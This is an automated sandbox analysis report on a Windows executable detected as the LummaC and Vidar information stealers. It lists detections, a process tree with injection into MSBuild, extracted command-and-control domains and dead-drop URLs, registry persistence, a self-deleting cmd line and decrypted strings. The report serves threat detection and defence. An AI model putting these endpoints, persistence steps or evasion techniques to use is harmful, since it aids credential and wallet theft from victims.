Edit tour

Windows Analysis Report
WiTqtf1aiE.exe

Overview

General Information

Sample name:	WiTqtf1aiE.exe renamed because original name is a hash value
Original sample name:	e16b25aaadf645e0de019d8e3ed50eb0.exe
Analysis ID:	1528370
MD5:	e16b25aaadf645e0de019d8e3ed50eb0
SHA1:	2c854e550421be679e80cdad7926ffa9cbc3ae74
SHA256:	0e0eef4dc62fa4388dbc40cd4d7738942abba54bd6808fb6ebb4926d4c0de390
Tags:	32exetrojan
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

WiTqtf1aiE.exe (PID: 528 cmdline: "C:\Users\user\Desktop\WiTqtf1aiE.exe" MD5: E16B25AAADF645E0DE019D8E3ED50EB0)

MSBuild.exe (PID: 6580 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6004 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

22594e132764.exe (PID: 6980 cmdline: "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe" MD5: 0294E7BE437F5DCE111BE4B66162A8CB)

MSBuild.exe (PID: 3924 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

AEHIDAKECF.exe (PID: 7912 cmdline: "C:\ProgramData\AEHIDAKECF.exe" MD5: 933CD328743445FD4AA29EEAEA35D726)

MSBuild.exe (PID: 7928 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7912 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 8064 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AFIDGDBGCAAF" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8112 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 7192 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7120 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 264 MD5: C31336C1EFC2CCB44B4326EA793040F2)

22594e132764.exe (PID: 7656 cmdline: "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe" MD5: 0294E7BE437F5DCE111BE4B66162A8CB)

MSBuild.exe (PID: 7672 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7708 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7656 -s 248 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["invinjurhey.sbs", "isoplethui.sbs", "bemuzzeki.sbs", "frizzettei.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs", "exemplarou.sbs", "wickedneatr.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/maslengdsa"], "Botnet": "60c3d71341c994ff133b7c9a96482d32"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000013.00000002.2611657350.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 22594e132764.exe PID: 6980	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 22594e132764.exe PID: 6980	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 22594e132764.exe PID: 6980	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 3924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 3924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 3924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 3924	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 22594e132764.exe PID: 7656	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 22594e132764.exe PID: 7656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 22594e132764.exe PID: 7656	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 7672	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
19.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
19.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
8.2.22594e132764.exe.86dad8.3.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.22594e132764.exe.86dad8.3.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
9.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.22594e132764.exe.86dad8.3.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.22594e132764.exe.86dad8.3.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
9.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
13.2.22594e132764.exe.86dad8.3.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.22594e132764.exe.86dad8.3.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.22594e132764.exe.840000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.22594e132764.exe.840000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
18.2.AEHIDAKECF.exe.fc0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
13.2.22594e132764.exe.840000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.22594e132764.exe.840000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
13.2.22594e132764.exe.86dad8.3.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.22594e132764.exe.86dad8.3.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ProcessId: 6004, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDSMService

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 147.45.44.104, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6004, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ProcessId: 6004, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDSMService

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ProcessId: 6004, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6546093.lnk

Suricata Signatures

ET MALWARE Possible Malicious Macro EXE DL AlphaNumL

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:03.171418+0200	2022566	1	A Network Trojan was detected	192.168.2.5	49705	147.45.44.104	80	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:56.497805+0200	2054495	1	A Network Trojan was detected	192.168.2.5	49951	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:34.141110+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49810	TCP
2024-10-07T21:19:01.803294+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49973	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:35.266749+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49810	TCP
2024-10-07T21:19:02.496779+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49973	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:33.535653+0200	2049087	1	A Network Trojan was detected	192.168.2.5	49810	95.164.90.97	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T21:18:52.369013+0200	2803304	3	Unknown Traffic	192.168.2.5	49932	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://t.me/ae5ed	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\ProgramData\AEHIDAKECF.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/maslengdsa"], "Botnet": "60c3d71341c994ff133b7c9a96482d32"}
Source: 19.2.MSBuild.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["invinjurhey.sbs", "isoplethui.sbs", "bemuzzeki.sbs", "frizzettei.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs", "exemplarou.sbs", "wickedneatr.sbs"], "Build id": "H8NgCl--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\AEHIDAKECF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: WiTqtf1aiE.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: wickedneatr.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: invinjurhey.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: exemplarou.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: isoplethui.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: frizzettei.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: exemplarou.sbs
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: - Screen Resoluton:
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: Workgroup: -
Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	9_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	9_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	9_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	9_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA76C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	9_2_6CA76C80

Source: WiTqtf1aiE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49996 version: TLS 1.2

Source: WiTqtf1aiE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.9.dr, freebl3[1].dll.9.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.9.dr, freebl3[1].dll.9.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, nss3[1].dll.9.dr
Source:	Binary string: C:\Users\Scarrled\Desktop\IDSM\IDSM\Release\ConsoleApplication1.pdb++ source: WiTqtf1aiE.exe, 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Scarrled\Desktop\IDSM\IDSM\Release\ConsoleApplication1.pdb source: WiTqtf1aiE.exe, WiTqtf1aiE.exe, 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000009.00000002.2658512043.0000000038646000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.9.dr, vcruntime140.dll.9.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000009.00000002.2653108923.000000002C76E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.9.dr, msvcp140[1].dll.9.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, nss3[1].dll.9.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2714165077.000000001FEBB000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005B9ABF FindFirstFileExW,	0_2_005B9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406212 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,___std_fs_close_handle@4,	2_2_00406212
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00859ABF FindFirstFileExW,	8_2_00859ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	9_2_00414CC8
